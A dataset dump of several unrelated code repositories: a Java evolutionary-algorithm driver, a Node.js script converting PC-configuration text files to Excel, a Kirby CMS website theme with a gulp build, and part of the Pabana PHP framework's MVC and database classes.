branch_name
stringclasses
15 values
target
stringlengths
26
10.3M
directory_id
stringlengths
40
40
languages
sequencelengths
1
9
num_files
int64
1
1.47k
repo_language
stringclasses
34 values
repo_name
stringlengths
6
91
revision_id
stringlengths
40
40
snapshot_id
stringlengths
40
40
input
stringclasses
1 value
refs/heads/master
<file_sep>import java.util.ArrayList; import java.util.Arrays; import java.util.OptionalDouble; import static java.lang.System.*; public class main { public static void main(String[] args) { function a = new function(); //Population initialized double prev_best = 0; double new_best; double[] latest = new double[5]; double[] pre = new double[5]; ArrayList<Double> best_vals = new ArrayList<Double>(); for (int i = 1; i <= 50; i++) { if (i > 1) { a.get_parents(); } out.println("\nFitness vector: " + Arrays.toString(a.compute_fitness())); double[][] x = a.select_parents_for_offspring(); out.println("\nSelected parent no. 1: " + Arrays.toString(x[0])); out.println("Selected parent no. 2: " + Arrays.toString(x[1])); x = a.two_select_parents_for_offspring(); out.println("Selected parent no. 3: " + Arrays.toString(x[0])); out.println("Selected parent no. 4: " + Arrays.toString(x[1])); a.create_offspring(); x = a.mutate(); out.println("Child 1: " + Arrays.toString(x[0])); out.println("Child 2: " + Arrays.toString(x[1])); out.println("Child 3: " + Arrays.toString(x[2])); out.println("Child 4: " + Arrays.toString(x[3])); a.compute_fitness_of_offspring_and_choose_next_5(); new_best = a.best_value(); best_vals.add(new_best); // latest = a.getFinal_fitness(); a.reinitialize_for_next_iter(); out.println("\nEnd of iteration no. " + i + "\n\n"); if (i != 1 && new_best-prev_best < 0.00000001) { out.println("End of Program."); break; } prev_best = new_best; } for (int i = 0; i < best_vals.size(); i++) { out.println(i + 1 + " " + best_vals.get(i)); } } }
dbf4fdc5b3c3fd6233287102953d8fd802434e82
[ "Java" ]
1
Java
Murtaza-Kazmi/evolutionary-algos
6a10534ae0e685ba9e1a936679683bc7bfe489cd
44c8bd357dc976ec92fb6266073d10d9592d8ce5
refs/heads/master
<file_sep># Node_pcset 读取鲁大师导出电脑配置`txt`文件,转为`excel`表格输出 `txt`文件放入`fileIn`文件夹,输出文件夹为`fileOut` ## 使用方法 ### 下载依赖 ```shell # npm install ``` ### 打开运行 ```shell # node app.js ``` 或者 双击运行`start.bat` <file_sep>const express = require('express') const template = require('art-template') const fs = require('fs') const bodyParser = require('body-parser') const xlsx = require('node-xlsx') const session = require('express-session') const cp = require('child_process') const app = express() //template模板引擎 app.engine('html',require('express-art-template')) //post上传中间件 app.use(bodyParser.urlencoded({ extended: false })) app.use(bodyParser.json()) //session中间件 app.use(session({ secret: 'keyboard cat', resave: false, saveUninitialized: true, cookie: { secure: false } })); //存session app.post('/post', (req, res) => { req.session.user = req.body res.redirect('/xx') }) app.get('/',(req,res) =>{ res.render('post.html') }) app.get('/xx',(req,res) => { fs.readFile(`./fileIn/${ req.session.user.username }.txt`, (err,data) => { if(err){ console.log('读取失败') res.send(` <script> alert('读取 ${ req.session.user.username }.txt 文件失败,请检查确认文件') setTimeout(()=>{ window.location.href = '/' },1000) </script> `) }else{ let dataString = data.toString() let cpu = dataString.indexOf('处理器',0) ,zb = dataString.indexOf('主板', 0) ,gpu = dataString.indexOf('显卡', 0) ,ram = dataString.indexOf('内存', 0) ,md = dataString.indexOf('主硬盘', 0) ,dp = dataString.indexOf('显示器', 0) ,dpend = dataString.indexOf('声卡', 0) let cpuString = dataString.slice(cpu, zb).replace("处理器 ","") , zbString = dataString.slice(zb, gpu).replace("主板 ", "") , gpuString = dataString.slice(gpu, ram).replace("显卡 ", "") , ramString = dataString.slice(ram, md) , mdString = dataString.slice(md, dp) , dpString = dataString.slice(dp, dpend).replace("显示器 ", "") //主副硬盘 let fypStar = dataString.indexOf('--------[ 硬盘 ]', 0) let fypEnd = dataString.indexOf('--------[ 内存 ]', 0) let fypData = dataString.slice(fypStar, fypEnd) let cp1 = fypData.indexOf('产品',0) let cp2 = fypData.lastIndexOf('产品',fypEnd) let size1 = fypData.indexOf('大小',0) let size2 = fypData.lastIndexOf('大小',fypEnd) let sizeend1 = fypData.indexOf('硬盘已使用',0) let sizeend2 = fypData.indexOf('转速',0) let cp1String = fypData.slice(cp1, size1).replace("产品 ", "") let cp2String = fypData.slice(cp2, size2).replace("产品 ", "") let size1String = fypData.slice(size1, sizeend1).replace("大小 ", "") let size2String = fypData.slice(size2, sizeend2).replace("大小 ", "") //内存 let ncStar = dataString.indexOf('--------[ 内存 ]', 0) let ncEnd = dataString.indexOf('--------[ 显卡 ]', 0) let ncData = dataString.slice(ncStar, ncEnd) // var ncnumber = (ncData.split('Channel')).length-1 // if (ncnumber == 2){ // let cp3 = ncData.indexOf('ChannelA-DIMM0', 0) // let cp4 = ncData.lastIndexOf('ChannelB-DIMM0', ncEnd) // } let cp3 = ncData.indexOf('ChannelA-DIMM0', 0) let cp4 = ncData.lastIndexOf('ChannelB-DIMM0', ncEnd) if(cp4 == -1 ){ var zzrq1 = ncData.indexOf('制造日期', 0) var cp3String = ncData.slice(cp3, zzrq1).replace("ChannelA-DIMM0 ", "") //无第二个内存为undefined }else{ var zzrq1 = ncData.indexOf('制造日期', 0) var zzrq2 = ncData.lastIndexOf('制造日期', ncEnd) var cp3String = ncData.slice(cp3, zzrq1).replace("ChannelA-DIMM0 ", "") var cp4String = ncData.slice(cp4, zzrq2).replace("ChannelB-DIMM0 ", "") } //存 excel 数据模板 let xlsxData = [ { name: `${ req.session.user.username }`, data: [ [ '处理器', '主板', '显卡', '内存1', '内存2', '显示器', '主硬盘', '主硬盘大小', '副硬盘', '副硬盘大小', ], [ cpuString, zbString, gpuString, cp3String, cp4String, dpString, cp1String, size1String, cp2String, size2String ] ] } ] //初始化 let buffer = xlsx.build(xlsxData); //检查输出是否已存在,避免覆盖同名 fs.readFile(`./fileOut/${req.session.user.username}.xls`, (err, data) => { if (err) { //生成写入excel fs.writeFile(`./fileOut/${req.session.user.username}.xls`, buffer, function (err) { if (err) { throw err } // 读xlsx // var obj = xlsx.parse("./" + "resut.xls"); // console.log(JSON.stringify(obj)); }) res.render('./index.html', { cpu: cpuString, zb: zbString, gpu: gpuString, ram1: cp3String, ram2: cp4String, dp: dpString, md: cp1String, mdsize: size1String, fyp: cp2String, fypsize: size2String, state: `${req.session.user.username} .xls 已生成` }) } else { res.send(` <script> alert('读取 ${req.session.user.username}.xls 已存在,请检查文件夹') setTimeout(()=>{window.location.href = '/'},1000) </script> `) } }) } }) }) app.listen(3000,(err,data) => { if(err){ console.log('Sever is error') }else{ console.log('app is running : 3000') cp.exec('start http://localhost:3000/'); } })
5463bdd3b3e58ca1cbe0bf2078114f14f24673d2
[ "Markdown", "JavaScript" ]
2
Markdown
Aogawa-lan/Node_pcset
d5b8b8d5cdbe043761c2fd0194a1892807bab146
6e149fc66549ee3fd67370dab58b3a93c32a45c9
refs/heads/master
<repo_name>lcv-idlab/wellbeing-website<file_sep>/src/assets/js/main.js import $ from 'jquery'; import anime from 'animejs'; import Flickity from 'flickity'; import mostVisible from 'most-visible'; mostVisible.makeJQueryPlugin( $ ); window.jQuery = $; require('@fancyapps/fancybox'); $(() => { if($('.slideshow').length) { new Flickity('.slideshow', { adaptiveHeight: false, autoPlay: 3000, dragThreshold: 10 }) } if($('.newspreviews .slide').length > 2) { new Flickity('.newspreviews', { cellAlign: 'left', prevNextButtons: false, groupCells: true, dragThreshold: 10 }) } let menuopen = false; $('.hamburger').on('click', function() { if(menuopen === false) { anime({ targets: '.mobilemenu', top: 0, easing: 'easeInOutQuart', duration: 400 }); anime({ targets: '.hamburger path', stroke: ['#000', '#fff'], duration: 300, d: (el, i) => { switch(i) { case 2: return 'M3.5 3.5 L6.5 6.5'; case 0: return 'M5 5 L5 5'; case 1: return 'M3.5 6.5 L6.5 3.5'; } }, easing: 'linear' }); } else { anime({ targets: '.mobilemenu', top: '-100vh', easing: 'easeInOutQuart', duration: 400 }); anime({ targets: '.hamburger path', stroke: ['#fff', '#000'], duration: 300, d: (el, i) => { switch(i) { case 0: return 'M2 3.5 L8 3.5'; case 1: return 'M2 5 L8 5'; case 2: return 'M2 6.5 L8 6.5'; } }, easing: 'linear' }); } menuopen = !menuopen; }) }) if (window.innerWidth >= 1200) { $(() => { let nav = $('nav'); if(nav.find('.anchors').length) { let links = nav.find('.anchors a'); let targets = links.map(function(i, el) { let r = $(el.getAttribute('href')).parent(); r.data('link', el); return r[0] }); $(window).on('scroll', function() { let active = $(targets).mostVisible({percentage: true}).data('link'); if(!$(active).hasClass('active')) { links.removeClass('active'); $(active).addClass('active'); } if($(window).scrollTop() > 100) { nav.addClass('scrolled'); } else { nav.removeClass('scrolled'); } }); links.click(function(e){ e.preventDefault(); let target = $(this.getAttribute('href')); let top = target.offset().top; top = Math.min($('html').height() - window.innerHeight, top); $("html, body").stop(true).animate({ scrollTop: top }, 1000); }) } }) } if (window.innerWidth >= 1600) { $(() => { $('body').on('mousewheel', function() { $('html,body').stop(true); }) }) }<file_sep>/src/site/plugins/page-methods.php <?php class Anchors { private static $anchors = []; public static function get() { return self::$anchors; } public static function from($page) { return self::make($page->uid(), $page->title()->html()->value); } public static function make($uid, $text) { self::$anchors[$uid] = $text; return brick('a', null, ['name' => $uid, 'id' => $uid]); } } page::$methods['anchor'] = 'Anchors::from';<file_sep>/src/site/modules/presentation/presentation.html.php <div class="presentation"> <?php echo $module->anchor() ?> <h2><?php echo $module->title()->html() ?></h2> <div class="organizations"> <?php foreach ($module->organizations()->toStructure() as $org): ?> <div class="org"> <h3><?php echo $org->name()->html() ?></h3> <?php echo $org->text()->kt() ?> </div> <?php endforeach ?> </div> <h2><?php echo $module->peopletitle()->html() ?></h2> <div class="people"> <?php foreach ($module->people()->toStructure() as $person): ?> <div class="person"> <div class="img"> <?php echo $module->image($person->img()) ?> </div> <div class="name"> <?php echo $person->name()->html() ?> </div> <div class="org"> <?php echo $person->organization()->html() ?> </div> <div class="position"> <?php echo $person->position()->kt() ?> </div> </div> <?php endforeach ?> </div> </div><file_sep>/dist/site/modules/halfcolumn/halfcolumn.html.php <div class="halfcolumn"> <?php echo $module->anchor() ?> <div class="inner"> <div class="text"> <h2><?php echo $module->title()->html() ?></h2> <?php echo $module->text()->kt() ?> </div> <?php if ($module->img()->isNotEmpty()): ?> <div class="img"> <?php echo $module->image($module->img())->width(600) ?> </div> <?php endif ?> </div> </div><file_sep>/dist/site/templates/default.php <?php ob_start(); ?> <?php echo $page->modules() ?> <?php $content = ob_get_clean() ?> <?php snippet('header') ?> <?php echo $content; ?> <?php snippet('footer') ?><file_sep>/src/site/modules/contactus/contactus.html.php <div class="contactus"> <?php echo $module->anchor() ?> <div class="inner"> <h2><?php echo $module->title()->html() ?></h2> <div class="content"> <div class="text"> <p><?php echo $module->text()->html() ?></p> </div> <div class="contactmodule"> <div class="form"> <iframe src="http://lcvform.supsi.ch/form/view.php?id=64122"></iframe> </div> </div> </div> </div> </div><file_sep>/dist/site/snippets/header.php <!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width,initial-scale=1.0"> <title><?php echo $site->title()->html() ?> | <?php echo $page->title()->html() ?></title> <?php echo js(['assets/js/vendor.js', 'assets/js/main.js']) ?> <?php echo css(['assets/css/style.css']) ?> </head> <body id="top" class="<?php echo $page->template() ?>" > <div class="container"> <nav> <a href="<?php echo $site->url() ?>" class="logo"> <img src="<?php echo $site->image($site->logomin()->value)->url() ?>" alt="" class="small"> <img src="<?php echo $site->image($site->logomax()->value)->url() ?>" alt="" class="large"> </a> <div class="text"> <div class="pages"> <?php foreach ($pages->visible() as $p): ?> <a class="<?php e($p->isOpen(), 'active') ?>" href="<?php echo $p->url() ?>"> <span class="txt"> <?php echo $p->title()->html() ?> </span> </a> <?php endforeach ?> <a href="http://www.designforwellbeing.ch/upstage"> <span class="txt">UpStage Toolkit</span> </a> </div> <?php if (count(Anchors::get())): ?> <div class="anchors"> <?php foreach (Anchors::get() as $uid => $title): ?> <a href="#<?php echo $uid ?>"><?php echo $title ?></a> <?php endforeach ?> <a href="#top"> <svg height="32" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" viewBox="0 -50 556 556" xml:space="preserve"> <path fill="#3CB8B8" d="M309.8,178.1c0,0,41,41,66.4,66.4c10.8,10.8,28.4,10.8,39.3,0c1.8-1.8,3.6-3.6,5.4-5.4 c10.8-10.8,10.8-28.4,0-39.3c-33.2-33.2-99.2-99.2-122.2-122.2c-5.2-5.2-12.3-8.1-19.6-8.1c-0.8,0-1.6,0-2.4,0 c-7.4,0-14.4,2.9-19.6,8.1c-23,23-89,89-122.2,122.2c-10.8,10.8-10.8,28.4,0,39.3c1.8,1.8,3.6,3.6,5.4,5.4 c10.8,10.8,28.4,10.8,39.3,0c25.4-25.4,66.4-66.4,66.4-66.4s0,204.5,0,280.3c0,7.4,2.9,14.4,8.1,19.6c5.2,5.2,12.3,8.1,19.6,8.1 c2.8,0,5.6,0,8.4,0c7.4,0,14.4-2.9,19.6-8.1c5.2-5.2,8.1-12.3,8.1-19.6C309.8,382.6,309.8,178.1,309.8,178.1L309.8,178.1z"/> </svg> </a> </div> <?php endif ?> </div> <button class="hamburger"> <span>toggle menu</span> <svg width="10" height="10" viewBox="0 0 10 10" version="1.1" xmlns="http://www.w3.org/2000/svg"> <path d="M2 3.5 L8 3.5" stroke-width="0.5" stroke-linecap="round" stroke="black" /> <path d="M2 5 L8 5" stroke-width="0.5" stroke-linecap="round" stroke="black" /> <path d="M2 6.5 L8 6.5" stroke-width="0.5" stroke-linecap="round" stroke="black" /> </svg> </button> <div class="mobilemenu"> <?php foreach ($pages->visible() as $p): ?> <a class="<?php e($p->isOpen(), 'active') ?>" href="<?php echo $p->url() ?>"> <span class="txt"> <?php echo $p->title()->html() ?> </span> </a> <?php endforeach ?> <a href="http://www.designforwellbeing.ch/upstage"> <span class="txt">UpStage Toolkit</span> </a> </div> </nav><file_sep>/dist/site/modules/activities/activities.html.php <div class="activities"> <?php echo $module->anchor() ?> <div class="intro"> <h2><?php echo $module->title()->html() ?></h2> <div class="row"> <div class="col"><?php echo $module->left()->kt() ?></div> <div class="col"><?php echo $module->right()->kt() ?></div> </div> </div> <div class="phases row"> <div class="text col"> <?php foreach ($module->phases()->toStructure() as $phase): ?> <div class="phase"> <h3> <div class="title"> <?php echo $phase->title()->html() ?> </div> <div class="name"> <?php echo $phase->name()->html() ?> </div> </h3> <?php echo $phase->text()->kt() ?> </div> <?php endforeach ?> </div> <div class="img col"> <?php echo $module->image($module->img())->width(600) ?> </div> </div> </div><file_sep>/src/site/modules/newsteaser/newsteaser.html.php <div class="newsteaser"> <div class="text"> <?php echo $module->text()->kt() ?> <a href="<?php echo $module->buttonlink()->html() ?>" class="button"><?php echo $module->buttontext()->html() ?></a> </div> <div class="newspreviews"> <?php foreach (page('news')->children()->visible() as $news): ?> <a href="<?php echo $news->url() ?>" class="slide newsarticle"> <img src="<?php echo $news->images()->sortBy('sort', 'asc')->first()->crop(400, 300)->url() ?>" alt=""> <div class="title"><?php echo $news->title()->html() ?></div> <div class="subtitle"><?php echo $news->subtitle()->html() ?></div> </a> <?php endforeach ?> </div> </div><file_sep>/dist/site/modules/wot/wot.html.php <div class="wot"> <?php if ($module->hidetitle()->isEmpty()): ?> <?php echo $module->anchor() ?> <h2><?php echo $module->title()->html() ?></h2> <?php endif ?> <?php foreach ($module->contents()->toStructure() as $section): ?> <div class="section"> <?php if ($section->sectiontitle()->isNotEmpty()): ?> <?php if ($section->sectionanchor()->isNotEmpty()): ?> <?php echo Anchors::make($section->sectionanchor()->lower()->slug()->value, $section->sectiontitle()->html()) ?> <?php endif ?> <?php if ($module->hidetitle()->isEmpty()): ?> <h3><?php echo $section->sectiontitle()->html() ?></h3> <?php else: ?> <h2><?php echo $section->sectiontitle()->html() ?></h2> <?php endif ?> <?php endif ?> <div class="row"> <div class="col"><?php echo $section->left()->kt() ?></div> <div class="col"><?php echo $section->right()->kt() ?></div> </div> </div> <?php endforeach ?> </div><file_sep>/src/site/modules/network/network.html.php <div class="network"> <?php echo $module->anchor() ?> <div class="inner"> <div> <h2><?php echo $module->title()->html() ?></h2> </div> <div class="partnerlist"> <?php foreach($module->partner()->toStructure() as $item): ?> <div class="partner"> <h3><?php echo $item->name()->html() ?></h3> <div class="lowerpart"> <div class="text"> <?php echo $item->text()->kt() ?> <a href="<?php echo $item->link->url() ?>" target="_blank" class="textlink"><?php echo $item->link->url() ?></a> </div> <?php if ($item->logo()->isNotEmpty()): ?> <div class="img"> <a href="<?php echo $item->link->url() ?>" target="_blank"> <?php echo $module->image($item->logo())->width(350) ?> </a> </div> <?php endif ?> </div> </div> <?php endforeach ?> </div> </div> </div><file_sep>/src/site/modules/slideshow/slideshow.html.php <div class="slideshow"> <?php foreach ($module->slides()->toStructure() as $slide): ?> <div class="slide"> <?php echo $module->image($slide->img())->crop(1200, 450) ?> <?php if ($slide->text()->isNotEmpty()): ?> <div class="text"> <?php echo $slide->text()->kt(); ?> </div> <?php endif ?> </div> <?php endforeach ?> </div><file_sep>/dist/site/modules/singleimage/singleimage.html.php <div class="singleimage"> <?php echo $module->image($module->img())->width(1200) ?> <?php if ($module->text()->isNotEmpty()): ?> <div class="text"> <div class="inner"> <?php echo $module->text()->kt() ?> </div> </div> <?php endif ?> </div><file_sep>/readme.md # wellbeing-website Wellbeing website # Setup If any problem with the gulp and npm versions, do as follow: -> delete "node_module" folder and "package-lock.json" then run: $ sudo npm install --unsafe-perm=true To distribute the webiste type: $ gulp # Serve the website locally Use MAMP and set the folder "dist" as document root <file_sep>/README.md # wellbeing-website Wellbeing website theme <file_sep>/dist/site/modules/lshape/lshape.html.php <div class="lshape"> <?php echo $module->anchor() ?> <h2><?php echo $module->title()->html() ?></h2> <div class="intro"> <?php echo $module->intro()->kt() ?> </div> <div class="text"> <div class="col"><?php echo $module->left()->kt() ?></div> <div class="col"><?php echo $module->right()->kt() ?></div> </div> </div><file_sep>/src/site/modules/publications/publications.html.php <div class="publications"> <?php echo $module->anchor() ?> <h2><?php echo $module->title()->html() ?></h2> <div class="text"> <?php echo $module->text()->kt() ?> </div> </div><file_sep>/gulpfile.js var gulp = require('gulp'), postcss = require('gulp-postcss'), stylus = require('gulp-stylus'), sourcemaps = require('gulp-sourcemaps'), lost = require('lost'), fontMagician = require('postcss-font-magician'), autoprefixer = require('autoprefixer'), watch = require('gulp-watch'), browserify = require('browserify'), source = require('vinyl-source-stream'), buffer = require('vinyl-buffer') uglify = require('gulp-uglify'), gutil = require('gulp-util'), resolve = require('resolve'); nano = require('cssnano'); var fs = require('fs'); var path = require('path'); //var vendorScripts = ['jquery', '@fancyapps/fancybox', 'flickity', 'animejs']; var vendorScripts = Object.keys(require('./package').dependencies); var styleSrc = 'src/assets/css/style.styl'; var panelStyleSrc = 'src/assets/css/panel.styl'; var styleDest = 'dist/assets/css'; var stylesPaths = [ path.join(__dirname, 'node_modules'), path.join(__dirname, 'src/site/modules') ] var jsSrc = 'src/assets/js/main.js'; var jsDest = 'dist/assets/js'; gulp.task('panelstyles', function() { return gulp.src(panelStyleSrc) .pipe(sourcemaps.init()) .pipe(stylus({ paths: stylesPaths, 'include css': true })) .pipe(postcss([ lost(), autoprefixer(), fontMagician(), nano({ discardComments: { removeAll: true } }) ])) .pipe(sourcemaps.write('./')) .pipe(gulp.dest(styleDest)); }); gulp.task('styles', function() { return gulp.src(styleSrc) .pipe(sourcemaps.init()) .pipe(stylus({ paths: stylesPaths, 'include css': true })) .pipe(postcss([ lost(), autoprefixer(), fontMagician(), nano({ discardComments: { removeAll: true } }) ])) .pipe(sourcemaps.write('./')) .pipe(gulp.dest(styleDest)); }); gulp.task('scripts:vendor', function() { var b = browserify({ debug: true }); vendorScripts.forEach(function(id) { b.require(resolve.sync(id), { expose: id }); }); return b.bundle() .pipe(source('vendor.js')) .pipe(buffer()) .pipe(sourcemaps.init({loadMaps: true})) .pipe(uglify()) .on('error', gutil.log) .pipe(sourcemaps.write('./')) .pipe(gulp.dest(jsDest)); }); gulp.task('scripts:app', function() { var b = browserify(jsSrc, {debug: true}) .transform('babelify', {presets: ['es2015']}); vendorScripts.forEach(b.external.bind(b)); return b.bundle() .pipe(source('main.js')) .pipe(buffer()) .pipe(sourcemaps.init({loadMaps: true})) .pipe(uglify()) .on('error', gutil.log) .pipe(sourcemaps.write('./')) .pipe(gulp.dest(jsDest)); }) gulp.task('scripts', ['scripts:vendor', 'scripts:app']); gulp.task('static', function () { return watch([ 'src/**/*', 'src/**/.*/**/*', '!src/content/**/*', '!src/(assets)/**/(*.js|*.styl)' ], { ignoreInitial: false }, function(vinyl) { if(vinyl.event == 'unlink') { fs.unlink(vinyl.path, function(err) { console.log('UNLINK: ' + vinyl.path); }); } }).pipe(gulp.dest('dist')); }); gulp.watch('src/**/*.styl', ['styles', 'panelstyles']); gulp.watch('src/**/*.js', ['scripts:app']); gulp.task('default', ['static', 'scripts', 'styles', 'panelstyles']);<file_sep>/dist/site/config/config.php <?php c::set('license', 'put your license key here'); c::set('debug', $_SERVER['HTTP_HOST'] == 'localhost'); c::set('panel.stylesheet', 'assets/css/panel.css'); <file_sep>/src/site/snippets/footer.php <footer> <div class="text"> <?php echo $site->footertext()->kt() ?> </div> <div class="logos"> <?php foreach ($site->logos()->toStructure() as $logo): ?> <a href="<?php echo $logo->website()->html() ?>"> <img src="<?php echo $site->image($logo->logo())->url() ?>" alt=""> </a> <?php endforeach ?> </div> </footer> </div> <script> (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){ (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o), m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m) })(window,document,'script','https://www.google-analytics.com/analytics.js','ga'); ga('create', 'UA-101038933-1', 'auto'); ga('send', 'pageview'); </script> </body> </html><file_sep>/src/site/modules/getinvolved/getinvolved.html.php <div class="getinvolved"> <?php echo $module->anchor() ?> <div class="inner"> <div class="maintitle"> <h2><?php echo $module->maintitle()->html() ?></h2> <p><?php echo $module->text()->html() ?></p> </div> <div class="contacts"> <?php foreach($module->survey()->toStructure() as $item): ?> <div class="contactform"> <h3><?php echo $item->title()->html() ?></h3> <div class="wwww"> <h4>What:</h4> <?php echo $item->what()->html() ?> </div> <div class="wwww"> <h4>Who:</h4> <?php echo $item->who()->html() ?> </div> <div class="wwww"> <h4>When:</h4> <?php echo $item->when()->html() ?> </div> <div class="wwww"> <h4>Where:</h4> <?php echo $item->where()->html() ?> </div> <div class="linkcontact"> <?php if($item->link()->isNotEmpty() and $item->linktext() != "Contact us"): ?> <a href="<?php echo $item->link()->url() ?>" class="button"> <?php echo $item->linktext()->html() ?> </a> <?php elseif($item->linktext() == "Contact us"): ?> <a href="/contact-us" class="button"> <?php echo $item->linktext()->html() ?> </a> <?php else: ?> <?php echo $item->linktext()->html() ?> <?php endif ?> </div> </div> <?php endforeach ?> </div> <div class="lasttext"> <?php if($module->lasttext()->isNotEmpty()): ?> <?php echo $module->lasttext()->kt()->html() ?> <?php endif ?> </div> </div> </div><file_sep>/src/site/templates/article.php <?php snippet('header') ?> <article class="news"> <?php if (count($page->images()) > 0): ?> <?php $firstImage = $page->images()->sortBy('sort', 'asc')->first(); ?> <a class="first-image" data-fancybox="gallery" href="<?php echo $firstImage->resize(1900, 1200)->url() ?>"> <?php echo $firstImage->crop(1200, 450) ?> </a> <?php endif ?> <div class="row"> <div class="col"> <div class="text"> <h1><?php echo $page->title()->html() ?></h1> <div class="subtitle"><?php echo $page->subtitle()->html() ?></div> <?php echo $page->text()->kt() ?> </div> </div> <div class="col"> <?php if (count($page->images()) > 1): ?> <div class="gallery"> <?php foreach ($page->images()->sortBy('sort', 'asc')->offset(1) as $img): ?> <a data-fancybox="gallery" href="<?php echo $img->resize(1900, 1200)->url() ?>"> <?php echo $img->crop(400,400) ?> </a> <?php endforeach ?> </div> <?php endif ?> </div> </div> </article> <?php snippet('footer') ?>
5a035a00cd0e821ef1cd3dea9e68b6b51655d347
[ "JavaScript", "Markdown", "PHP" ]
22
JavaScript
lcv-idlab/wellbeing-website
315eefa002e8742cbbcb43df403c9309027e3235
a677bffe5afe80669e3b98798f50b7e25365875f
refs/heads/master
<repo_name>FuturaSoft/pabana<file_sep>/src/Mvc/Controller.php <?php /** * Pabana : PHP Framework (https://pabana.futurasoft.fr) * Copyright (c) FuturaSoft (https://futurasoft.fr) * * Licensed under BSD-3-Clause License * For full copyright and license information, please see the LICENSE.txt * Redistributions of files must retain the above copyright notice. * * @copyright Copyright (c) FuturaSoft (https://futurasoft.fr) * @link https://pabana.futurasoft.fr Pabana Project * @since 1.0 * @license https://opensource.org/licenses/BSD-3-Clause BSD-3-Clause License */ namespace Pabana\Mvc; use Pabana\Core\Configuration; use Pabana\Html\Html; use Pabana\Mvc\Layout; use Pabana\Mvc\Model; use Pabana\Mvc\View; use Pabana\Network\Http\Request; use Pabana\Type\StringType; /** * Controller class * * Launch controller and call Layout and View if defined */ class Controller { /** * @var Redirection to $html var * @since 1.0 * @deprecated deprecated since version 1.1 */ public $Html; /** * @var Redirection to $layout var * @since 1.0 * @deprecated deprecated since version 1.1 */ public $Layout; /** * @var Redirection to $model var * @since 1.0 * @deprecated deprecated since version 1.1 */ public $Model; /** * @var Redirection to $request var * @since 1.0 * @deprecated deprecated since version 1.1 */ public $Request; /** * @var Redirection to $view var * @since 1.0 * @deprecated deprecated since version 1.1 */ public $View; /** * @var \Pabana\Html\Html Object Html. * @since 1.1 */ public $html; /** * @var \Pabana\Mvc\Layout Object Layout. * @since 1.1 */ public $layout; /** * @var \Pabana\Mvc\Model Object Model. * @since 1.1 */ public $model; /** * @var \Pabana\Network\Http\Request Object Request. * @since 1.1 */ public $request; /** * @var \Pabana\Mvc\View Object View. * @since 1.1 */ public $view; /** * @var string Controller name. * @since 1.1 */ private $controller; /** * Constructor * * Initialize Controller helper object (Html, Layout, Model, Request, View) * * @since 1.1 * @return void */ final public function __construct() { $controllerNamespace = get_class($this); $controllerString = new StringType($controllerNamespace); // Get controller by current class name $this->controller = $controllerString->classBasename(); $this->html = new Html(); $this->model = new Model(); $this->request = new Request(); // To maintain compatibility with version 1.0 $this->Html = $this->html; $this->Model = $this->model; $this->Request = $this->request; } /** * Create the View and the Layout * Call initialize method if exist * Launch controller * Get Layout and View render if enable * * @since 1.1 * @param string $action Name of Action * @return string bodyContent of Controller, Layout and View */ final public function render($action) { // Initialize view object if auto render is enable if (Configuration::read('mvc.view.auto_render') === true) { $this->setView($this->controller, $action); } // Initialize layout object if auto render is enable if (Configuration::read('mvc.layout.auto_render') === true) { // Get Layout default name from Configuration $layoutName = Configuration::read('mvc.layout.default'); $this->setLayout($layoutName); } // Call initialize method in Controller if exists if (method_exists($this, 'initialize')) { $this->initialize(); } // Launch action of controller ob_start(); $actionResult = $this->$action(); echo PHP_EOL; $bodyContent = ob_get_clean(); // If Controller's Action return false, disable Layout and View if ($actionResult !== false) { if (isset($this->layout) && $this->layout->getAutoRender()) { // Get Layout and View if auto render of View enable $bodyContent .= $this->layout->render(); } elseif (isset($this->view) && $this->view->getAutoRender()) { // Get View only $bodyContent .= $this->view->render(); } } return $bodyContent; } /** * Call Layout object and store it in $this->layout variable * * @since 1.1 * @param string $layoutName Name of Layout * @return void */ final public function setLayout($layoutName) { $layoutNamespace = Configuration::read('mvc.layout.namespace'); $layoutNamespace = $layoutNamespace . '\\' . $layoutName; $this->layout = new $layoutNamespace($this->view); // To maintain compatibility with version 1.0 $this->Layout = $this->layout; } /** * Call Layout object and store it in $this->view variable * If Layout is already defined, change view of $this->layout * * @since 1.1 * @param string $action Target action name * @return void */ final public function setView($controller, $action) { $this->view = new View($controller, $action); // To maintain compatibility with version 1.0 $this->View = $this->view; // If Layout is enable, send new view to it if (isset($this->layout)) { $this->layout->setView($this->view); // To maintain compatibility with version 1.0 $this->Layout = $this->layout; } } } <file_sep>/src/Database/Connection.php <?php /** * Pabana : PHP Framework (https://pabana.futurasoft.fr) * Copyright (c) FuturaSoft (https://futurasoft.fr) * * Licensed under BSD-3-Clause License * For full copyright and license information, please see the LICENSE.txt * Redistributions of files must retain the above copyright notice. * * @copyright Copyright (c) FuturaSoft (https://futurasoft.fr) * @link https://pabana.futurasoft.fr Pabana Project * @since 1.0 * @license https://opensource.org/licenses/BSD-3-Clause BSD-3-Clause License */ namespace Pabana\Database; use Pabana\Database\Statement; /** * Connection class * * Defined a connection to a database from a datasource */ class Connection { /** * @var Redirection to $datasource var * @since 1.1 * @deprecated deprecated since version 1.1 */ public $Datasource; /** * @var \Pabana\Database\Datasource Object Datasource. * @since 1.1 */ public $datasource; /** * @var \PDO Object PDO created when connection is effectued * @since 1.0 */ private $pdo; /** * @var string Connection name (by default same as Datasource) * @since 1.0 */ private $name; /** * Constructor * * Store Datasource object, define connection name and do connection * * @since 1.0 * @param \Pabana\Database\Datasource $datasource Object defined a datasource and its parameters. * @param string $name Connection name. * @param bool $autoConnect If defined connection will do. */ public function __construct($datasource, $name = '', $autoConnect = true) { $this->datasource = $datasource; // To maintain compatibility with version 1.0 $this->Datasource = $this->datasource; if (empty($name) === true) { $name = $this->datasource->getName(); } $this->setName($name); if ($autoConnect === true) { $this->connect(); } } /** * Do a connection * * Do a connection to a database from datasource parameter (DSN) via PDO object * * @since 1.0 * @return bool True if success or false. */ public function connect() { try { $this->pdo = new \PDO( $this->datasource->getDsn(), $this->datasource->getUser(), $this->datasource->getPassword(), $this->datasource->getOption() ); return true; } catch (PDOException $e) { throw new \Exception($e->getMessage()); return false; } } /** * Initiates a transaction * * @since 1.1 * @return bool True if success or false. */ public function beginTransaction() { // Check if connection is open if 